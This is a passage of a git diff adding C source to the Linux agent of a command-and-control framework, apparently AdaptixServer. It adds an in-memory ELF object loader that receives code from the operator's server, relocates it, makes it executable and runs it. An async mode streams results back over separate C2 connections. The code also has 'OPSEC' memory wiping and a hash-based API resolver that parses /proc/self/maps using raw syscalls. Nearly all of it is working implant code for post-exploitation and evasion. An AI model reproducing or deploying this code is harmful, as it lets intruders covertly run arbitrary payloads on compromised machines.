+ *insn = (*insn & 0x9F00001F) | immlo | immhi; + break; + } + + case R_AARCH64_ADD_ABS_LO12_NC: + case R_AARCH64_LDST8_ABS_LO12_NC: { + uint64_t val = (S + A) & 0xFFF; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST16_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 1; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST32_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 2; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST64_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 3; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + case R_AARCH64_LDST128_ABS_LO12_NC: { + uint64_t val = ((S + A) & 0xFFF) >> 4; + uint32_t *insn = (uint32_t *)P; + *insn = (*insn & 0xFFC003FF) | ((val & 0xFFF) << 10); + break; + } + + default: + // Unsupported relocation type — skip + break; + } + } + return 0; +} +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Apply protections — per-section mprotect +/// ──────────────────────────────────────────────────────────────────────────── + +static int protect_sections(loaded_section_t *sections, int num_sections, + bof_arena_t *arena) { + // Protect per-section: mprotect requires page-aligned addresses and sizes. + // Since sections within the arena may share pages, we use page-aligned ranges. + for (int i = 0; i < num_sections; i++) { + int prot; + if (sections[i].flags & SHF_EXECINSTR) { + prot = PROT_READ | PROT_EXEC; + } else if (sections[i].flags & SHF_WRITE) { + prot = PROT_READ | PROT_WRITE; + } else { + prot = PROT_READ; + } + // Page-align the section start and size for mprotect + uintptr_t sec_start = (uintptr_t)sections[i].base; + uintptr_t page_start = sec_start & ~(uintptr_t)4095; + size_t prot_size = page_align((sec_start - page_start) + sections[i].size); + if (sys_mprotect((void *)page_start, prot_size, prot) != 0) + return -1; + } + + // Protect trampoline area as RX (it contains executable stubs) + if (arena->tramp_count > 0 && arena->trampoline) { + uintptr_t tramp_start = (uintptr_t)arena->trampoline; + uintptr_t page_start = tramp_start & ~(uintptr_t)4095; + size_t tramp_used = (size_t)arena->tramp_count * TRAMPOLINE_SIZE; + size_t prot_size = page_align((tramp_start - page_start) + tramp_used); + if (sys_mprotect((void *)page_start, prot_size, PROT_READ | PROT_EXEC) != 0) + return -1; + } + +#ifdef ARCH_AARCH64 + // Flush instruction cache (mandatory on ARM64 after mprotect → RX) + for (int i = 0; i < num_sections; i++) { + if (sections[i].flags & SHF_EXECINSTR) { + uint8_t *start = (uint8_t *)sections[i].base; + uint8_t *end = start + sections[i].raw_size; + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } + } + // Also flush trampoline area icache + if (arena->tramp_count > 0 && arena->trampoline) { + uint8_t *start = (uint8_t *)arena->trampoline; + uint8_t *end = start + (arena->tramp_count * TRAMPOLINE_SIZE); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("dc cvau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish" ::: "memory"); + for (uint8_t *p = start; p < end; p += 64) { + __asm__ volatile("ic ivau, %0" :: "r"(p) : "memory"); + } + __asm__ volatile("dsb ish\n\tisb" ::: "memory"); + } +#endif + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Cleanup — revert arena to RW, zero, single munmap +/// ──────────────────────────────────────────────────────────────────────────── + +static void cleanup_arena(bof_arena_t *arena) { + if (arena->base && arena->total_size > 0) { + // Revert entire arena to RW for zeroing + sys_mprotect(arena->base, arena->total_size, PROT_READ | PROT_WRITE); + // OPSEC: Zero all memory + volatile uint8_t *p = (volatile uint8_t *)arena->base; + for (size_t j = 0; j < arena->total_size; j++) + p[j] = 0; + // Release memory + sys_munmap(arena->base, arena->total_size); + arena->base = (void *)0; + arena->total_size = 0; + } +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Find entry point symbol ("go" function) +/// ──────────────────────────────────────────────────────────────────────────── + +static bof_entry_t find_entry(const char *entry_name, + const Elf64_Sym *symtab, int num_syms, + const char *strtab, + sym_value_t *sym_values) { + for (int i = 0; i < num_syms; i++) { + if (symtab[i].st_shndx == SHN_UNDEF) + continue; + const char *name = strtab + symtab[i].st_name; + if (ax_strcmp(name, entry_name) == 0 && sym_values[i].resolved) { + return (bof_entry_t)(uintptr_t)sym_values[i].value; + } + } + return (bof_entry_t)0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF error response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_error_response(mp_writer_t *response, int error_code, const char *message) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", error_code); + mp_write_kv_str(response, "output", message ? message : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Write BOF success response to msgpack +/// ──────────────────────────────────────────────────────────────────────────── + +static void bof_success_response(mp_writer_t *response, const char *output) { + mp_write_map(response, 2); + mp_write_kv_int(response, "type", 0x20); // CALLBACK_OUTPUT_UTF8 + mp_write_kv_str(response, "output", output ? output : ""); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Core ELF BOF execute +/// ──────────────────────────────────────────────────────────────────────────── + +static int elf_bof_execute(const uint8_t *elf_data, uint32_t elf_size, + const uint8_t *args, uint32_t args_size, + const char *entry_name, + mp_writer_t *response) { + loaded_section_t sections[BOF_MAX_SECTIONS]; + int num_sections = 0; + bof_arena_t arena; + arena.base = (void *)0; + arena.total_size = 0; + + // ── Step 1: Validate ELF header ── + if (elf_size < sizeof(Elf64_Ehdr)) { + bof_error_response(response, BOF_ERR_PARSE, "ELF file too small"); + return -1; + } + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)elf_data; + if (validate_elf(ehdr, elf_size) != 0) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid ELF header"); + return -1; + } + + // ── Step 2: Parse section headers ── + const Elf64_Shdr *shdrs = (const Elf64_Shdr *)(elf_data + ehdr->e_shoff); + + // Find .symtab, .strtab, and section name string table + const Elf64_Sym *symtab = (const Elf64_Sym *)0; + const char *strtab = (const char *)0; + int num_syms = 0; + + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type == SHT_SYMTAB) { + symtab = (const Elf64_Sym *)(elf_data + shdrs[i].sh_offset); + num_syms = (int)(shdrs[i].sh_size / shdrs[i].sh_entsize); + // strtab is linked via sh_link + int strtab_idx = (int)shdrs[i].sh_link; + if (strtab_idx < ehdr->e_shnum) { + strtab = (const char *)(elf_data + shdrs[strtab_idx].sh_offset); + } + break; + } + } + + if (!symtab || !strtab || num_syms == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No symbol table found"); + return -1; + } + + // ── Step 3: Allocate all sections in a single contiguous mmap ── + if (allocate_sections(elf_data, ehdr, shdrs, sections, &num_sections, &arena) != 0) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate sections"); + return -1; + } + + // ── Step 4: Resolve symbols (creates trampolines for external functions) ── + sym_value_t *sym_values = (sym_value_t *)ax_malloc(num_syms * sizeof(sym_value_t)); + if (!sym_values) { + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "Failed to allocate symbol table"); + return -1; + } + ax_memset(sym_values, 0, num_syms * sizeof(sym_value_t)); + + char err_symbol[128]; + err_symbol[0] = '\0'; + if (resolve_symbols(symtab, num_syms, strtab, sections, num_sections, + sym_values, &arena, err_symbol, sizeof(err_symbol)) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_SYMBOL, err_symbol); + return -1; + } + + // ── Step 5: Apply relocations ── + for (int i = 0; i < ehdr->e_shnum; i++) { + if (shdrs[i].sh_type != SHT_RELA) + continue; + + // sh_info points to the section being relocated + int target_shndx = (int)shdrs[i].sh_info; + loaded_section_t *target = find_loaded_section(sections, num_sections, target_shndx); + if (!target) + continue; // relocs for non-loaded section — skip + + const Elf64_Rela *relas = (const Elf64_Rela *)(elf_data + shdrs[i].sh_offset); + int num_relas = (int)(shdrs[i].sh_size / sizeof(Elf64_Rela)); + + int ret; +#ifdef ARCH_X86_64 + ret = apply_relocations_x64(relas, num_relas, sym_values, target); +#endif +#ifdef ARCH_AARCH64 + ret = apply_relocations_arm64(relas, num_relas, sym_values, target); +#endif + if (ret != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_RELOC, "Relocation failed"); + return -1; + } + } + + // ── Step 6: Protect sections (per-section mprotect + trampoline area) ── + if (protect_sections(sections, num_sections, &arena) != 0) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ALLOC, "mprotect failed"); + return -1; + } + + // ── Step 7: Find entry point ── + bof_entry_t entry = find_entry(entry_name, symtab, num_syms, strtab, sym_values); + if (!entry) { + ax_free(sym_values); + cleanup_arena(&arena); + bof_error_response(response, BOF_ERR_ENTRY, "Entry function not found"); + return -1; + } + + // ── Step 8: Initialize BOF output, execute, collect output ── + bof_output_init(); + + entry((char *)args, (int)args_size); + + // Collect output + int output_len = 0; + const char *output = bof_output_get(&output_len); + int error_type = bof_output_get_error(); + + // Write response + if (error_type != 0) { + bof_error_response(response, error_type, output); + } else if (output_len > 0) { + bof_success_response(response, output); + } else { + // No output — empty success + bof_success_response(response, "(no output)"); + } + + bof_output_cleanup(); + + // ── Step 9: Cleanup — zero and release arena ── + ax_free(sym_values); + cleanup_arena(&arena); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API: task_exec_bof — called from commander.c +/// Parses msgpack command data, dispatches to elf_bof_execute +/// ──────────────────────────────────────────────────────────────────────────── + +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Make entry_func a proper null-terminated string if needed + char entry_name[64]; + if (entry_func_len > 0 && entry_func_len < sizeof(entry_name)) { + ax_memcpy(entry_name, entry_func, entry_func_len); + entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(entry_name, "go"); + } + + elf_bof_execute(bof_content, bof_size, args, args_size, entry_name, response); + + return 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF — background thread with separate C2 connection +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + uint8_t *bof_data; // deep copy of ELF .o + uint32_t bof_size; + uint8_t *args_data; // deep copy of args + uint32_t args_size; + char entry_name[64]; // "go" or custom + char job_id[64]; // task ID for job tracking + int job_idx; // index in g_job_ctx.jobs[] + int stop_pipe[2]; // pipe for cooperative stop (write=signal, read=poll) +} async_bof_arg_t; + +/// Send BOF output over the job's C2 connection +static void async_bof_send_output(connector_t *conn, const char *job_id, + int output_type, const char *output, int output_len) { + // Build inner data: {type: int, output: string} + mp_writer_t data_w; + mp_writer_init(&data_w, 64 + output_len); + mp_write_map(&data_w, 2); + mp_write_kv_int(&data_w, "type", output_type); + if (output && output_len > 0) { + mp_write_str(&data_w, "output", 6); + mp_write_str(&data_w, output, output_len); + } else { + mp_write_kv_str(&data_w, "output", ""); + } + + jobs_send_message(&g_job_ctx, conn, COMMAND_EXEC_BOF_OUT, job_id, + data_w.buf.data, (uint32_t)data_w.buf.len); + mp_writer_free(&data_w); +} + +/// Worker thread for async BOF execution +static void *async_bof_thread(void *param) { + async_bof_arg_t *arg = (async_bof_arg_t *)param; + job_entry_t *job = &g_job_ctx.jobs[arg->job_idx]; + + // Open separate C2 connection for this BOF + if (jobs_open_connection(&g_job_ctx, &job->conn) != 0) { + // Connection failed — report error and cleanup + job->active = 0; + goto CLEANUP; + } + + // Send init pack for BOF type + { + mp_writer_t init_w; + mp_writer_init(&init_w, 64); + mp_write_map(&init_w, 1); + mp_write_kv_str(&init_w, "job_id", arg->job_id); + jobs_send_init(&g_job_ctx, &job->conn, BOF_PACK, init_w.buf.data, (uint32_t)init_w.buf.len); + mp_writer_free(&init_w); + } + + // Execute the ELF BOF synchronously within this thread + { + // Set async context so BeaconGetStopJobEvent() returns the stop pipe fd + bof_set_async_ctx(arg, arg->stop_pipe[0]); + + mp_writer_t bof_response; + mp_writer_init(&bof_response, 4096); + elf_bof_execute(arg->bof_data, arg->bof_size, + arg->args_data, arg->args_size, + arg->entry_name, &bof_response); + + // Parse the response to extract type and output, then send via C2 + if (bof_response.buf.len > 0) { + mp_reader_t rdr; + mp_reader_init(&rdr, bof_response.buf.data, bof_response.buf.len); + uint32_t map_cnt = 0; + if (mp_read_map(&rdr, &map_cnt) == 0) { + int out_type = 0x20; // default CALLBACK_OUTPUT_UTF8 + const char *out_str = ""; + uint32_t out_len = 0; + + for (uint32_t i = 0; i < map_cnt; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&rdr, &key, &key_len) != 0) { + mp_skip(&rdr); + mp_skip(&rdr); + continue; + } + if (key_len == 4 && ax_strncmp(key, "type", 4) == 0) { + int64_t v; + mp_read_int(&rdr, &v); + out_type = (int)v; + } else if (key_len == 6 && ax_strncmp(key, "output", 6) == 0) { + mp_read_str(&rdr, &out_str, &out_len); + } else { + mp_skip(&rdr); + } + } + + async_bof_send_output(&job->conn, arg->job_id, out_type, out_str, (int)out_len); + } + } + mp_writer_free(&bof_response); + bof_clear_async_ctx(); + } + + // Send sentinel (type 0xFF) to signal BOF completion + async_bof_send_output(&job->conn, arg->job_id, 0xFF, "", 0); + + // Close C2 connection + conn_close(&job->conn); + job->active = 0; + +CLEANUP: + // OPSEC: zero and free deep-copied data + if (arg->bof_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->bof_data; + for (uint32_t i = 0; i < arg->bof_size; i++) p[i] = 0; + ax_free(arg->bof_data); + } + if (arg->args_data) { + volatile uint8_t *p = (volatile uint8_t *)arg->args_data; + for (uint32_t i = 0; i < arg->args_size; i++) p[i] = 0; + ax_free(arg->args_data); + } + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + + return (void *)0; +} + +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response) { + // Parse msgpack: {content: bytes, args: bytes, entry_func: string} + mp_reader_t reader; + mp_reader_init(&reader, data, data_len); + + uint32_t map_count = 0; + if (mp_read_map(&reader, &map_count) != 0 || map_count < 1) { + bof_error_response(response, BOF_ERR_PARSE, "Invalid BOF command data"); + return 0; + } + + const uint8_t *bof_content = (const uint8_t *)0; + uint32_t bof_size = 0; + const uint8_t *args = (const uint8_t *)0; + uint32_t args_size = 0; + const char *entry_func = "go"; + uint32_t entry_func_len = 0; + + for (uint32_t i = 0; i < map_count; i++) { + const char *key; + uint32_t key_len; + if (mp_read_str(&reader, &key, &key_len) != 0) { + mp_skip(&reader); + mp_skip(&reader); + continue; + } + + if (key_len == 7 && ax_strncmp(key, "content", 7) == 0) { + mp_read_bin(&reader, &bof_content, &bof_size); + } else if (key_len == 4 && ax_strncmp(key, "args", 4) == 0) { + mp_read_bin(&reader, &args, &args_size); + } else if (key_len == 10 && ax_strncmp(key, "entry_func", 10) == 0) { + mp_read_str(&reader, &entry_func, &entry_func_len); + } else { + mp_skip(&reader); + } + } + + if (!bof_content || bof_size == 0) { + bof_error_response(response, BOF_ERR_PARSE, "No BOF content"); + return 0; + } + + // Allocate job slot + int job_idx = jobs_alloc(&g_job_ctx); + if (job_idx < 0) { + bof_error_response(response, BOF_ERR_ALLOC, "No free job slots"); + return 0; + } + + // Prepare async arg with deep copies + async_bof_arg_t *arg = (async_bof_arg_t *)ax_malloc(sizeof(async_bof_arg_t)); + if (!arg) { + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Alloc failed"); + return 0; + } + ax_memset(arg, 0, sizeof(async_bof_arg_t)); + + // Deep copy BOF data + arg->bof_data = (uint8_t *)ax_malloc(bof_size); + if (!arg->bof_data) { + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "BOF copy alloc failed"); + return 0; + } + ax_memcpy(arg->bof_data, bof_content, bof_size); + arg->bof_size = bof_size; + + // Deep copy args + if (args && args_size > 0) { + arg->args_data = (uint8_t *)ax_malloc(args_size); + if (arg->args_data) + ax_memcpy(arg->args_data, args, args_size); + arg->args_size = args_size; + } + + // Copy entry name + if (entry_func_len > 0 && entry_func_len < sizeof(arg->entry_name)) { + ax_memcpy(arg->entry_name, entry_func, entry_func_len); + arg->entry_name[entry_func_len] = '\0'; + } else { + ax_strcpy(arg->entry_name, "go"); + } + + // Create stop pipe + arg->stop_pipe[0] = -1; + arg->stop_pipe[1] = -1; + sys_pipe2(arg->stop_pipe, 0); + + // Setup job entry + ax_snprintf(arg->job_id, sizeof(arg->job_id), "%08x", cmd_id); + arg->job_idx = job_idx; + + job_entry_t *job = &g_job_ctx.jobs[job_idx]; + ax_strcpy(job->job_id, arg->job_id); + job->job_type = BOF_PACK; + job->active = 1; + job->canceled = 0; + job->conn.fd = -1; + + // Create worker thread + if (jobs_thread_create(&job->thread, async_bof_thread, arg) != 0) { + // Thread creation failed + job->active = 0; + if (arg->bof_data) ax_free(arg->bof_data); + if (arg->args_data) ax_free(arg->args_data); + if (arg->stop_pipe[0] >= 0) sys_close(arg->stop_pipe[0]); + if (arg->stop_pipe[1] >= 0) sys_close(arg->stop_pipe[1]); + ax_free(arg); + jobs_remove(&g_job_ctx, job_idx); + bof_error_response(response, BOF_ERR_ALLOC, "Thread creation failed"); + return 0; + } + + // Ack: task running (not completed) + mp_write_map(response, 1); + mp_write_kv_str(response, "status", "running"); + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h new file mode 100644 index 000000000..b2e264b36 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h @@ -0,0 +1,169 @@ +#ifndef ELF_BOF_H +#define ELF_BOF_H + +#include "types.h" +#include "crt.h" +#include "msgpack.h" + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF64 structures — minimal, zero libc dependency (nostdlib) +/// ──────────────────────────────────────────────────────────────────────────── + +typedef uint64_t Elf64_Addr; +typedef uint64_t Elf64_Off; +typedef uint16_t Elf64_Half; +typedef uint32_t Elf64_Word; +typedef int32_t Elf64_Sword; +typedef uint64_t Elf64_Xword; +typedef int64_t Elf64_Sxword; + +/// ELF header +typedef struct { + unsigned char e_ident[16]; + Elf64_Half e_type; + Elf64_Half e_machine; + Elf64_Word e_version; + Elf64_Addr e_entry; + Elf64_Off e_phoff; + Elf64_Off e_shoff; + Elf64_Word e_flags; + Elf64_Half e_ehsize; + Elf64_Half e_phentsize; + Elf64_Half e_phnum; + Elf64_Half e_shentsize; + Elf64_Half e_shnum; + Elf64_Half e_shstrndx; +} Elf64_Ehdr; + +/// Section header +typedef struct { + Elf64_Word sh_name; + Elf64_Word sh_type; + Elf64_Xword sh_flags; + Elf64_Addr sh_addr; + Elf64_Off sh_offset; + Elf64_Xword sh_size; + Elf64_Word sh_link; + Elf64_Word sh_info; + Elf64_Xword sh_addralign; + Elf64_Xword sh_entsize; +} Elf64_Shdr; + +/// Symbol table entry +typedef struct { + Elf64_Word st_name; + unsigned char st_info; + unsigned char st_other; + Elf64_Half st_shndx; + Elf64_Addr st_value; + Elf64_Xword st_size; +} Elf64_Sym; + +/// Relocation entry with addend +typedef struct { + Elf64_Addr r_offset; + Elf64_Xword r_info; + Elf64_Sxword r_addend; +} Elf64_Rela; + +/// ──────────────────────────────────────────────────────────────────────────── +/// ELF macros +/// ──────────────────────────────────────────────────────────────────────────── + +#define ELF64_R_SYM(i) ((i) >> 32) +#define ELF64_R_TYPE(i) ((i) & 0xffffffffL) +#define ELF64_ST_BIND(i) ((unsigned char)(i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +/// ELF magic +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define ELFDATA2LSB 1 + +/// e_type +#define ET_REL 1 + +/// e_machine +#define EM_X86_64 62 +#define EM_AARCH64 183 + +/// Section types +#define SHT_NULL 0 +#define SHT_PROGBITS 1 +#define SHT_SYMTAB 2 +#define SHT_STRTAB 3 +#define SHT_RELA 4 +#define SHT_NOBITS 8 + +/// Section flags +#define SHF_WRITE 0x1 +#define SHF_ALLOC 0x2 +#define SHF_EXECINSTR 0x4 + +/// Symbol binding/type +#define STB_LOCAL 0 +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_NOTYPE 0 +#define STT_FUNC 2 + +/// Special section indices +#define SHN_UNDEF 0 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — x86_64 +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_X86_64_64 1 // S + A (absolute 64-bit) +#define R_X86_64_PC32 2 // S + A - P (32-bit PC-relative) +#define R_X86_64_PLT32 4 // S + A - P (same as PC32 for .o files) +#define R_X86_64_32 10 // S + A (absolute 32-bit, zero-extend) +#define R_X86_64_32S 11 // S + A (absolute 32-bit, sign-extend) + +/// ──────────────────────────────────────────────────────────────────────────── +/// Relocation types — ARM64 (AArch64) +/// ──────────────────────────────────────────────────────────────────────────── + +#define R_AARCH64_ABS64 257 // S + A +#define R_AARCH64_CALL26 283 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_JUMP26 282 // (S + A - P) >> 2, 26-bit branch +#define R_AARCH64_ADR_PREL_PG_HI21 275 // Page(S+A) - Page(P), bits [32:12] +#define R_AARCH64_ADD_ABS_LO12_NC 277 // (S+A) & 0xFFF, 12-bit +#define R_AARCH64_LDST8_ABS_LO12_NC 278 +#define R_AARCH64_LDST16_ABS_LO12_NC 284 +#define R_AARCH64_LDST32_ABS_LO12_NC 285 +#define R_AARCH64_LDST64_ABS_LO12_NC 286 +#define R_AARCH64_LDST128_ABS_LO12_NC 299 + +/// ──────────────────────────────────────────────────────────────────────────── +/// BOF error codes (matches beacon pattern for Go-side ProcessData) +/// ──────────────────────────────────────────────────────────────────────────── + +#define BOF_ERR_NONE 0 +#define BOF_ERR_PARSE 0x101 +#define BOF_ERR_SYMBOL 0x102 +#define BOF_ERR_ENTRY 0x104 +#define BOF_ERR_ALLOC 0x105 +#define BOF_ERR_RELOC 0x106 + +/// Max sections supported +#define BOF_MAX_SECTIONS 32 + +/// ──────────────────────────────────────────────────────────────────────────── +/// Public API +/// ──────────────────────────────────────────────────────────────────────────── + +/// Execute an ELF BOF in-memory (synchronous). +/// Called from commander.c case COMMAND_EXEC_BOF. +/// Parses msgpack params {content, args, entry_func}, loads ELF, executes, returns output. +int task_exec_bof(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +/// Execute an ELF BOF in a background thread (async). +/// Called from commander.c case COMMAND_EXEC_BOF_ASYNC. +/// Spawns a thread that opens its own C2 connection and streams output. +int task_exec_bof_async(uint32_t cmd_id, const uint8_t *data, uint32_t data_len, mp_writer_t *response); + +#endif // ELF_BOF_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c new file mode 100644 index 000000000..9778b122d --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c @@ -0,0 +1,500 @@ +/// elf_resolve.c -- ELF hash-based API resolver for Linux agent +/// Parses /proc/self/maps → ELF headers → .dynsym/.dynstr → DJB2 match +/// Uses only direct syscalls — zero libc dependency for bootstrapping. + +#include "elf_resolve.h" +#include "crt.h" +#include "types.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +// ── ELF structures (inline — no system headers needed) ── + +#define EI_NIDENT 16 +#define ELFMAG0 0x7f +#define ELFMAG1 'E' +#define ELFMAG2 'L' +#define ELFMAG3 'F' +#define ELFCLASS64 2 +#define PT_LOAD 1 +#define PT_DYNAMIC 2 +#define DT_NULL 0 +#define DT_STRTAB 5 +#define DT_SYMTAB 6 +#define DT_STRSZ 10 +#define DT_GNU_HASH 0x6ffffef5 +#define DT_HASH 4 + +#define STB_GLOBAL 1 +#define STB_WEAK 2 +#define STT_FUNC 2 +#define STT_OBJECT 1 +#define SHN_UNDEF 0 + +#define ELF64_ST_BIND(i) ((i) >> 4) +#define ELF64_ST_TYPE(i) ((i) & 0xf) + +typedef struct { + uint8_t e_ident[EI_NIDENT]; + uint16_t e_type; + uint16_t e_machine; + uint32_t e_version; + uint64_t e_entry; + uint64_t e_phoff; + uint64_t e_shoff; + uint32_t e_flags; + uint16_t e_ehsize; + uint16_t e_phentsize; + uint16_t e_phnum; + uint16_t e_shentsize; + uint16_t e_shnum; + uint16_t e_shstrndx; +} Elf64_Ehdr; + +typedef struct { + uint32_t p_type; + uint32_t p_flags; + uint64_t p_offset; + uint64_t p_vaddr; + uint64_t p_paddr; + uint64_t p_filesz; + uint64_t p_memsz; + uint64_t p_align; +} Elf64_Phdr; + +typedef struct { + int64_t d_tag; + uint64_t d_val; +} Elf64_Dyn; + +typedef struct { + uint32_t st_name; + uint8_t st_info; + uint8_t st_other; + uint16_t st_shndx; + uint64_t st_value; + uint64_t st_size; +} Elf64_Sym; + +// DT_HASH header +typedef struct { + uint32_t nbucket; + uint32_t nchain; + // followed by: uint32_t bucket[nbucket]; uint32_t chain[nchain]; +} Elf_Hash; + +// DT_GNU_HASH header +typedef struct { + uint32_t nbuckets; + uint32_t symndx; + uint32_t maskwords; + uint32_t shift2; + // followed by: uint64_t bloom[maskwords]; uint32_t buckets[nbuckets]; uint32_t chains[]; +} Gnu_Hash; + +// ── Parsed library entry ── +typedef struct { + uintptr_t base; // lowest mapping address + uint32_t name_hash; // DJB2 hash of basename +} lib_entry_t; + +#define MAX_LIBS 32 + +/// Global resolved API table +resolved_apis_t g_apis; + +/// DJB2 hash — case-insensitive, seeded +uint32_t djb2_hash(uint32_t seed, const char *s) +{ + uint32_t h = seed; + while (*s) { + char c = *s++; + if (c >= 'A' && c <= 'Z') + c += 32; + h = ((h << 5) + h) + (uint32_t)c; + } + return h; +} + +// ── Internal helpers ── + +#define O_RDONLY 0 + +/// Extract basename from "/lib/x86_64-linux-gnu/libc.so.6" → "libc.so.6" +static const char *path_basename(const char *path) { + const char *last = path; + while (*path) { + if (*path == '/') last = path + 1; + path++; + } + return last; +} + +/// Validate ELF64 magic at a given memory address +static int is_valid_elf64(const void *addr) { + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)addr; + return (ehdr->e_ident[0] == ELFMAG0 && + ehdr->e_ident[1] == ELFMAG1 && + ehdr->e_ident[2] == ELFMAG2 && + ehdr->e_ident[3] == ELFMAG3 && + ehdr->e_ident[4] == ELFCLASS64); +} + +/// Parse /proc/self/maps to find loaded shared libraries. +/// Format: "addr1-addr2 perms offset dev inode path\n" +/// We only care about r-xp (executable) mappings with a library path. +static int parse_proc_maps(lib_entry_t *libs, int max_libs) { + int fd = sys_open("/proc/self/maps", O_RDONLY, 0); + if (fd < 0) return 0; + + // Read maps in chunks — typical maps file is 2-20 KB + char buf[8192]; + int lib_count = 0; + int buf_used = 0; + + for (;;) { + long n = sys_read(fd, buf + buf_used, (size_t)(sizeof(buf) - 1 - buf_used)); + if (n <= 0) break; + buf_used += (int)n; + buf[buf_used] = '\0'; + + // Process complete lines + char *line_start = buf; + char *newline; + while ((newline = ax_strchr(line_start, '\n')) != NULL) { + *newline = '\0'; + + // Parse: "7f1234560000-7f1234570000 r-xp 00001000 08:01 12345 /lib/x86_64-linux-gnu/libc.so.6" + // ^addr_start ^perms ^path + + // Find permissions field (after first space) + char *p = ax_strchr(line_start, ' '); + if (p && p[1] == 'r' && p[4] == 'p') { + // Find the path (last field, starts with '/') + // Skip: addr, perms, offset, dev, inode → path + char *path = NULL; + int space_count = 0; + for (char *s = line_start; *s; s++) { + if (*s == 